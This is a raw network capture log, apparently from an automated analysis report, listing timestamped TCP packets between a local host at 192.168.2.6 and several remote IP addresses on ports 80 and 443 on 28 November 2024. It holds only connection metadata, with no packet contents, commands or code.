Nov 28, 2024 00:19:20.914037943 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:20.914050102 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:20.914246082 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:20.914403915 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:20.914403915 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:20.914410114 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:20.914422989 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:20.914439917 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:20.914643049 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:20.915923119 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:20.915923119 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:20.915929079 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:20.915944099 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:20.915961981 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:20.916177034 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:20.916373968 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:20.956199884 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.956304073 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.956316948 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.956408024 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.956691027 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.956824064 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.956850052 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.956928015 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.957982063 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.958080053 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.958097935 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.958177090 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.959301949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.959384918 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.959410906 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.959501982 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.960540056 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.960648060 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.960659981 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.960762024 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.961852074 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.961939096 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.961941004 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.962021112 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.963150024 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.963215113 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.963434935 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.963536978 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.964364052 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.964474916 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.964495897 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.964562893 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.965668917 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.965735912 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.965761900 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.965817928 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.966948986 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.967003107 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.967031002 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.967089891 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.968219042 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.968271017 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.968280077 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.968378067 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.969502926 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.969594955 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.969630957 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.969741106 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.970839024 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.970890045 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.970921993 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.971002102 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.972049952 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.972147942 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.972302914 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.972409010 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.973360062 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.973431110 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.973457098 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.973524094 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.974555016 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.974627972 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.974663973 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.974806070 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.975902081 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.976015091 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.976031065 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.976080894 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.977143049 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.977225065 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.977508068 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.977638006 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.978411913 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.978468895 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.978511095 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.978600025 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.979804993 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.979890108 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.979904890 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.980072021 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.994560957 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.994609118 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.994635105 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.994719982 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.994930983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.995007992 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.995029926 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.995112896 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.995569944 CET	443	49719	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:20.995681047 CET	49719	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:20.996162891 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.996227026 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.996239901 CET	49719	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:20.996248960 CET	443	49719	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:20.996407986 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.996474028 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.996756077 CET	49719	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:20.996756077 CET	49719	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:20.996764898 CET	443	49719	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:20.996781111 CET	443	49719	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:20.997443914 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.997543097 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.997555017 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.997793913 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.998723030 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.998795033 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.998821020 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.998972893 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.000005007 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.000077963 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.000238895 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.001290083 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.001353025 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.001388073 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.001513004 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.002562046 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.002688885 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.002770901 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.002831936 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.003823996 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.003906965 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.003925085 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.003973961 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.005100012 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.005213022 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.005258083 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.005258083 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.006406069 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.006553888 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.006644964 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.006727934 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.007677078 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.007729053 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.007867098 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.007952929 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.008945942 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.008992910 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.009027958 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.009042978 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.010229111 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.010310888 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.010338068 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.010436058 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.011493921 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.011610031 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.011769056 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.011873007 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.012772083 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.012891054 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.012918949 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.012962103 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.014054060 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.014163971 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.014193058 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.014276981 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.015347004 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.015430927 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.015456915 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.015557051 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.016623974 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.016695976 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.016711950 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.016910076 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.017906904 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.017975092 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.017978907 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.018167019 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.019143105 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.019368887 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.019396067 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.019462109 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.020418882 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.020570993 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.020597935 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.020672083 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.021714926 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.021831989 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.021836996 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.021949053 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.022994995 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.023102045 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.023161888 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.023263931 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.044553041 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.044588089 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.044614077 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.044842958 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.045217991 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.045258999 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.045310974 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.045310974 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.046392918 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.046469927 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.046478987 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.046565056 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.047668934 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.047801018 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.047828913 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.047874928 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.048944950 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.049061060 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.049140930 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.049269915 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.050218105 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.050276995 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.050400972 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.050482988 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.051539898 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.051600933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.051625013 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.051712990 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.052777052 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.052841902 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.053015947 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.053092003 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.054084063 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.054141998 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.054162979 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.054245949 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.055298090 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.055378914 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.055650949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.055716991 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.158417940 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.158543110 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.158567905 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.159054995 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.159085989 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.159162998 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.159193039 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.159296036 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.160345078 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.160464048 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.160465956 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.160564899 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.161608934 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.161714077 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.161772966 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.161931038 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.162892103 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.163008928 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.163060904 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.163171053 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.164199114 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.164274931 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.164299011 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.164324999 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.165483952 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.165575981 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.165591002 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.165653944 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.166718960 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.166779995 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.166806936 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.166870117 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.167998075 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.168080091 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.168107986 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.168173075 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.169250011 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.169320107 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.169346094 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.169408083 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.170546055 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.170605898 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.170651913 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.170881033 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.171825886 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.171931982 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.173104048 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.173194885 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.173221111 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.173454046 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.174366951 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.174493074 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.174520969 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.175666094 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.175754070 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.175780058 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.175857067 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.176948071 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.177056074 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.177057981 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.177166939 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.178220034 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.178333998 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.178411007 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.179492950 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.179609060 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.179636002 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.179955006 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.180814981 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.180890083 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.180986881 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.182054043 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.182132959 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.182270050 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.195769072 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.195939064 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.196355104 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.196594000 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.196626902 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.196721077 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.197487116 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.197904110 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.198036909 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.198262930 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.199198008 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.199265957 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.199374914 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.200442076 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.200511932 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.200647116 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.201765060 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.201821089 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.201968908 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.202972889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.203095913 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.203109980 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.203174114 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.204279900 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.204390049 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.204396963 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.204497099 CET	49714	80	192.168.2.6	185.215.113.206
